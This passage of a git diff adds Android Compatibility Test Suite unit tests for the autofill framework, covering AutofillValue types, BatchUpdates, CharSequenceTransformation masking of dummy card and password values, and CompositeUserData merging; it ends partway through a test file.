+        // Verify the calling application's AutofillService is initially disabled
+        runQueryAutofillStatusActivityAndVerifyResult(AUTOFILL_DISABLE);
+
+        // Enable calling application's AutofillService
+        enableOutsidePackageTestAutofillService();
+
+        // Verify the calling application's AutofillService is enabled
+        runQueryAutofillStatusActivityAndVerifyResult(AUTOFILL_ENABLE);
+
+        // Update the calling application package and verify the calling application's
+        // AutofillService is still enabled
+        install(OUTSIDE_QUERYAUTOFILLSTATUS_APK);
+        runQueryAutofillStatusActivityAndVerifyResult(AUTOFILL_ENABLE);
+    }
+
+    private void enableOutsidePackageTestAutofillService() {
+        final String outsidePackageAutofillServiceName =
+                "android.autofill.cts2/.NoOpAutofillService";
+        Helper.enableAutofillService(sContext, outsidePackageAutofillServiceName);
+    }
+
+    private void install(String apk) {
+        final String installResult = runShellCommand(
+                "pm install -r /data/local/tmp/cts/autofill/" + apk);
+        Log.d(TAG, "install result = " + installResult);
+        assertThat(installResult.trim()).isEqualTo("Success");
+    }
+
+    /**
+     * Start an activity that uses hasEnabledAutofillServices() to query its AutofillService
+     * status and return the status result to the caller. Then we verify the status result from
+     * the Activity.
+     */
+    private void runQueryAutofillStatusActivityAndVerifyResult(int expectedStatus) {
+        final String actionAutofillStatusActivityFinish =
+                "ACTION_AUTOFILL_STATUS_ACTIVITY_FINISH_" + SystemClock.uptimeMillis();
+
+        // register a activity finish receiver
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(sContext,
+                actionAutofillStatusActivityFinish);
+        receiver.register();
+
+        // Start an Activity from another package
+        final Intent outsideActivity = new Intent();
+        outsideActivity.setComponent(new ComponentName("android.autofill.cts2",
+                "android.autofill.cts2.QueryAutofillStatusActivity"));
+        outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
+        final Intent broadcastIntent = new Intent(actionAutofillStatusActivityFinish);
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(sContext, 0, broadcastIntent,
+                PendingIntent.FLAG_IMMUTABLE);
+        outsideActivity.putExtra("finishBroadcast", pendingIntent);
+        sContext.startActivity(outsideActivity);
+
+        // Verify the finish broadcast is received.
+        final Intent intent = receiver.awaitForBroadcast();
+        assertThat(intent).isNotNull();
+        // Verify the status result code.
+        final int statusResultCode = receiver.getResultCode();
+        Log.d(TAG, "hasEnabledAutofillServices statusResultCode = " + statusResultCode);
+        assertThat(statusResultCode).isEqualTo(expectedStatus);
+
+        // unregister receiver
+        receiver.unregisterQuietly();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillValueTest.java
new file mode 100644
index 0000000..b2fdb0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillValueTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.view.autofill.AutofillValue;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@AppModeFull(reason = "Unit test")
+@RunWith(AndroidJUnit4.class)
+public class AutofillValueTest {
+
+    @Test
+    public void createTextValue() throws Exception {
+        assertThat(AutofillValue.forText(null)).isNull();
+
+        assertThat(AutofillValue.forText("").isText()).isTrue();
+        assertThat(AutofillValue.forText("").isToggle()).isFalse();
+        assertThat(AutofillValue.forText("").isList()).isFalse();
+        assertThat(AutofillValue.forText("").isDate()).isFalse();
+
+        AutofillValue emptyV = AutofillValue.forText("");
+        assertThat(emptyV.getTextValue().toString()).isEqualTo("");
+
+        final AutofillValue v = AutofillValue.forText("someText");
+        assertThat(v.getTextValue()).isEqualTo("someText");
+
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createToggleValue() throws Exception {
+        assertThat(AutofillValue.forToggle(true).getToggleValue()).isTrue();
+        assertThat(AutofillValue.forToggle(false).getToggleValue()).isFalse();
+
+        assertThat(AutofillValue.forToggle(true).isText()).isFalse();
+        assertThat(AutofillValue.forToggle(true).isToggle()).isTrue();
+        assertThat(AutofillValue.forToggle(true).isList()).isFalse();
+        assertThat(AutofillValue.forToggle(true).isDate()).isFalse();
+
+
+        final AutofillValue v = AutofillValue.forToggle(true);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createListValue() throws Exception {
+        assertThat(AutofillValue.forList(-1).getListValue()).isEqualTo(-1);
+        assertThat(AutofillValue.forList(0).getListValue()).isEqualTo(0);
+        assertThat(AutofillValue.forList(1).getListValue()).isEqualTo(1);
+
+        assertThat(AutofillValue.forList(0).isText()).isFalse();
+        assertThat(AutofillValue.forList(0).isToggle()).isFalse();
+        assertThat(AutofillValue.forList(0).isList()).isTrue();
+        assertThat(AutofillValue.forList(0).isDate()).isFalse();
+
+        final AutofillValue v = AutofillValue.forList(0);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getDateValue);
+    }
+
+    @Test
+    public void createDateValue() throws Exception {
+        assertThat(AutofillValue.forDate(-1).getDateValue()).isEqualTo(-1);
+        assertThat(AutofillValue.forDate(0).getDateValue()).isEqualTo(0);
+        assertThat(AutofillValue.forDate(1).getDateValue()).isEqualTo(1);
+
+        assertThat(AutofillValue.forDate(0).isText()).isFalse();
+        assertThat(AutofillValue.forDate(0).isToggle()).isFalse();
+        assertThat(AutofillValue.forDate(0).isList()).isFalse();
+        assertThat(AutofillValue.forDate(0).isDate()).isTrue();
+
+        final AutofillValue v = AutofillValue.forDate(0);
+
+        assertThrows(IllegalStateException.class, v::getTextValue);
+        assertThrows(IllegalStateException.class, v::getToggleValue);
+        assertThrows(IllegalStateException.class, v::getListValue);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/BatchUpdatesTest.java
new file mode 100644
index 0000000..b77574a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/BatchUpdatesTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.InternalTransformation;
+import android.service.autofill.Transformation;
+import android.widget.RemoteViews;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class BatchUpdatesTest {
+
+    private final BatchUpdates.Builder mBuilder = new BatchUpdates.Builder();
+
+    @Test
+    public void testAddTransformation_null() {
+        assertThrows(IllegalArgumentException.class, () ->  mBuilder.transformChild(42, null));
+    }
+
+    @Test
+    public void testAddTransformation_invalidClass() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.transformChild(42, mock(Transformation.class)));
+    }
+
+    @Test
+    public void testSetUpdateTemplate_null() {
+        assertThrows(NullPointerException.class, () ->  mBuilder.updateTemplate(null));
+    }
+
+    @Test
+    public void testEmptyObject() {
+        assertThrows(IllegalStateException.class, () ->  mBuilder.build());
+    }
+
+    @Test
+    public void testNoMoreChangesAfterBuild() {
+        assertThat(mBuilder.updateTemplate(mock(RemoteViews.class)).build()).isNotNull();
+        assertThrows(IllegalStateException.class,
+                () ->  mBuilder.updateTemplate(mock(RemoteViews.class)));
+        assertThrows(IllegalStateException.class,
+                () ->  mBuilder.transformChild(42, mock(InternalTransformation.class)));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceMatcher.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceMatcher.java
new file mode 100644
index 0000000..390eecd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceMatcher.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.unittests;
+
+import org.mockito.ArgumentMatcher;
+
+final class CharSequenceMatcher implements ArgumentMatcher<CharSequence> {
+    private final CharSequence mExpected;
+
+    CharSequenceMatcher(CharSequence expected) {
+        mExpected = expected;
+    }
+
+    @Override
+    public boolean matches(CharSequence actual) {
+        return actual.toString().equals(mExpected.toString());
+    }
+
+    @Override
+    public String toString() {
+        return mExpected.toString();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceTransformationTest.java
new file mode 100644
index 0000000..8fe5af8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/CharSequenceTransformationTest.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class CharSequenceTransformationTest {
+
+    @Test
+    public void testAllNullBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new CharSequenceTransformation.Builder(null, null, null));
+    }
+
+    @Test
+    public void testNullAutofillIdBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(null, Pattern.compile(""), ""));
+    }
+
+    @Test
+    public void testNullRegexBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(new AutofillId(1), null, ""));
+    }
+
+    @Test
+    public void testNullSubstBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(new AutofillId(1), Pattern.compile(""),
+                        null));
+    }
+
+    @Test
+    public void testBadSubst() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId id3 = new AutofillId(3);
+        AutofillId id4 = new AutofillId(4);
+
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile("(.)"), "1=$1");
+
+        // bad subst: The regex has no capture groups
+        b.addField(id2, Pattern.compile("."), "2=$1");
+
+        // bad subst: The regex does not have enough capture groups
+        b.addField(id3, Pattern.compile("(.)"), "3=$2");
+
+        b.addField(id4, Pattern.compile("(.)"), "4=$1");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("a");
+        when(finder.findByAutofillId(id2)).thenReturn("b");
+        when(finder.findByAutofillId(id3)).thenReturn("c");
+        when(finder.findByAutofillId(id4)).thenReturn("d");
+
+        assertThrows(IndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
+
+        // fail one, fail all
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testUnknownField() throws Exception {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId unknownId = new AutofillId(42);
+
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile(".*"), "1");
+
+        // bad subst: The field will not be found
+        b.addField(unknownId, Pattern.compile(".*"), "unknown");
+
+        b.addField(id2, Pattern.compile(".*"), "2");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("1");
+        when(finder.findByAutofillId(id2)).thenReturn("2");
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+        trans.apply(finder, template, 0);
+
+        // if a view cannot be found, nothing is not, not even partial results
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testCreditCardObfuscator() throws Exception {
+        AutofillId creditCardFieldId = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation.Builder(creditCardFieldId,
+                Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"),
+                "...$1").build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("...3456")));
+    }
+
+    @Test
+    public void testReplaceAllByOne() throws Exception {
+        AutofillId id = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(id, Pattern.compile("."), "*")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("four");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("****")));
+    }
+
+    @Test
+    public void testPartialMatchIsIgnored() throws Exception {
+        AutofillId id = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(id, Pattern.compile("^MATCH$"), "*")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("preMATCHpost");
+
+        trans.apply(finder, template, 0);
+
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void userNameObfuscator() throws Exception {
+        AutofillId userNameFieldId = new AutofillId(1);
+        AutofillId passwordFieldId = new AutofillId(2);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(userNameFieldId, Pattern.compile("(.*)"), "$1")
+                .addField(passwordFieldId, Pattern.compile(".*(..)$"), "/..$1")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(userNameFieldId)).thenReturn("myUserName");
+        when(finder.findByAutofillId(passwordFieldId)).thenReturn("myPassword");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(),
+                argThat(new CharSequenceMatcher("myUserName/..rd")));
+    }
+
+    @Test
+    public void testMismatch() throws Exception {
+        AutofillId id1 = new AutofillId(1);
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile("Who are you?"), "1");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("I'm Batman!");
+
+        trans.apply(finder, template, 0);
+
+        // If the match fails, the view should not change.
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testFieldsAreAppliedInOrder() throws Exception {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId id3 = new AutofillId(3);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(id1, Pattern.compile("a"), "A")
+                .addField(id3, Pattern.compile("c"), "C")
+                .addField(id2, Pattern.compile("b"), "B")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("a");
+        when(finder.findByAutofillId(id2)).thenReturn("b");
+        when(finder.findByAutofillId(id3)).thenReturn("c");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("ACB")));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/CompositeUserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/CompositeUserDataTest.java
new file mode 100644
index 0000000..908bf21
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/CompositeUserDataTest.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CompositeUserData;
+import android.service.autofill.UserData;
+import android.util.ArrayMap;
+
+import com.google.common.base.Strings;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class CompositeUserDataTest {
+
+    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+            + Strings.repeat("?", UserData.getMaxValueLength());
+    private final String mId = "4815162342";
+    private final String mId2 = "4815162343";
+    private final String mCategoryId = "id1";
+    private final String mCategoryId2 = "id2";
+    private final String mCategoryId3 = "id3";
+    private final String mValue = mShortValue + "-1";
+    private final String mValue2 = mShortValue + "-2";
+    private final String mValue3 = mShortValue + "-3";
+    private final String mValue4 = mShortValue + "-4";
+    private final String mValue5 = mShortValue + "-5";
+    private final String mAlgo = "algo";
+    private final String mAlgo2 = "algo2";
+    private final String mAlgo3 = "algo3";
+    private final String mAlgo4 = "algo4";
+
+    private final UserData mEmptyGenericUserData = new UserData.Builder(mId, mValue, mCategoryId)
+            .build();
+    private final UserData mLoadedGenericUserData = new UserData.Builder(mId, mValue, mCategoryId)
+            .add(mValue2, mCategoryId2)
+            .setFieldClassificationAlgorithm(mAlgo, createBundle(false))
+            .setFieldClassificationAlgorithmForCategory(mCategoryId2, mAlgo2, createBundle(false))
+            .build();
+    private final UserData mEmptyPackageUserData = new UserData.Builder(mId2, mValue3, mCategoryId3)
+            .build();
+    private final UserData mLoadedPackageUserData = new UserData
+            .Builder(mId2, mValue3, mCategoryId3)
+            .add(mValue4, mCategoryId2)
+            .setFieldClassificationAlgorithm(mAlgo3, createBundle(true))
+            .setFieldClassificationAlgorithmForCategory(mCategoryId2, mAlgo4, createBundle(true))
+            .build();
+
+
+    @Test
+    public void testMergeInvalid_bothNull() {
+        assertThrows(NullPointerException.class, () -> new CompositeUserData(null, null));
+    }
+
+    @Test
+    public void testMergeInvalid_nullPackageUserData() {
+        assertThrows(NullPointerException.class,
+                () -> new CompositeUserData(mEmptyGenericUserData, null));
+    }
+
+    @Test
+    public void testMerge_nullGenericUserData() {
+        final CompositeUserData userData = new CompositeUserData(null, mEmptyPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(1);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(1);
+        assertThat(values[0]).isEqualTo(mValue3);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+        assertThat(userData.getDefaultFieldClassificationArgs()).isNull();
+    }
+
+    @Test
+    public void testMerge_bothEmpty() {
+        final CompositeUserData userData = new CompositeUserData(mEmptyGenericUserData,
+                mEmptyPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(2);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+        assertThat(categoryIds[1]).isEqualTo(mCategoryId);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(2);
+        assertThat(values[0]).isEqualTo(mValue3);
+        assertThat(values[1]).isEqualTo(mValue);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+        assertThat(userData.getDefaultFieldClassificationArgs()).isNull();
+    }
+
+    @Test
+    public void testMerge_emptyGenericUserData() {
+        final CompositeUserData userData = new CompositeUserData(mEmptyGenericUserData,
+                mLoadedPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(3);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+        assertThat(categoryIds[1]).isEqualTo(mCategoryId2);
+        assertThat(categoryIds[2]).isEqualTo(mCategoryId);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(3);
+        assertThat(values[0]).isEqualTo(mValue3);
+        assertThat(values[1]).isEqualTo(mValue4);
+        assertThat(values[2]).isEqualTo(mValue);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo3);
+
+        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
+        assertThat(defaultArgs).isNotNull();
+        assertThat(defaultArgs.getBoolean("isPackage")).isTrue();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
+                .isEqualTo(mAlgo4);
+
+        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
+        assertThat(args.size()).isEqualTo(1);
+        assertThat(args.containsKey(mCategoryId2)).isTrue();
+        assertThat(args.get(mCategoryId2)).isNotNull();
+        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isTrue();
+    }
+
+    @Test
+    public void testMerge_emptyPackageUserData() {
+        final CompositeUserData userData = new CompositeUserData(mLoadedGenericUserData,
+                mEmptyPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(3);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+        assertThat(categoryIds[1]).isEqualTo(mCategoryId);
+        assertThat(categoryIds[2]).isEqualTo(mCategoryId2);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(3);
+        assertThat(values[0]).isEqualTo(mValue3);
+        assertThat(values[1]).isEqualTo(mValue);
+        assertThat(values[2]).isEqualTo(mValue2);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo);
+
+        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
+        assertThat(defaultArgs).isNotNull();
+        assertThat(defaultArgs.getBoolean("isPackage")).isFalse();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
+                .isEqualTo(mAlgo2);
+
+        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
+        assertThat(args.size()).isEqualTo(1);
+        assertThat(args.containsKey(mCategoryId2)).isTrue();
+        assertThat(args.get(mCategoryId2)).isNotNull();
+        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isFalse();
+    }
+
+
+    @Test
+    public void testMerge_bothHaveData() {
+        final CompositeUserData userData = new CompositeUserData(mLoadedGenericUserData,
+                mLoadedPackageUserData);
+
+        final String[] categoryIds = userData.getCategoryIds();
+        assertThat(categoryIds.length).isEqualTo(3);
+        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
+        assertThat(categoryIds[1]).isEqualTo(mCategoryId2);
+        assertThat(categoryIds[2]).isEqualTo(mCategoryId);
+
+        final String[] values = userData.getValues();
+        assertThat(values.length).isEqualTo(3);
+        assertThat(values[0]).isEqualTo(mValue3);
+        assertThat(values[1]).isEqualTo(mValue4);
+        assertThat(values[2]).isEqualTo(mValue);
+
+        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo3);
+        assertThat(userData.getDefaultFieldClassificationArgs()).isNotNull();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
+                .isEqualTo(mAlgo4);
+
+        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
+        assertThat(defaultArgs).isNotNull();
+        assertThat(defaultArgs.getBoolean("isPackage")).isTrue();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
+                .isEqualTo(mAlgo4);
+
+        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
+        assertThat(args.size()).isEqualTo(1);
+        assertThat(args.containsKey(mCategoryId2)).isTrue();
+        assertThat(args.get(mCategoryId2)).isNotNull();
+        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isTrue();
+    }
+
+    private Bundle createBundle(Boolean isPackageBundle) {
+        final Bundle bundle = new Bundle();
+        bundle.putBoolean("isPackage", isPackageBundle);
+        return bundle;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/CustomDescriptionUnitTest.java
new file mode 100644
index 0000000..9bdd32b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/CustomDescriptionUnitTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.InternalOnClickAction;
+import android.service.autofill.InternalTransformation;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.OnClickAction;
+import android.service.autofill.Transformation;
+import android.service.autofill.Validator;
+import android.util.SparseArray;
+import android.widget.RemoteViews;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class CustomDescriptionUnitTest {
+
+    private final CustomDescription.Builder mBuilder =
+            new CustomDescription.Builder(mock(RemoteViews.class));
+    private final BatchUpdates mValidUpdate =
+            new BatchUpdates.Builder().updateTemplate(mock(RemoteViews.class)).build();
+    private final Transformation mValidTransformation = mock(InternalTransformation.class);
+    private final Validator mValidCondition = mock(InternalValidator.class);
+    private final OnClickAction mValidAction = mock(InternalOnClickAction.class);
+
+    @Test
+    public void testNullConstructor() {
+        assertThrows(NullPointerException.class, () ->  new CustomDescription.Builder(null));
+    }
+
+    @Test
+    public void testAddChild_null() {
+        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addChild(42, null));
+    }
+
+    @Test
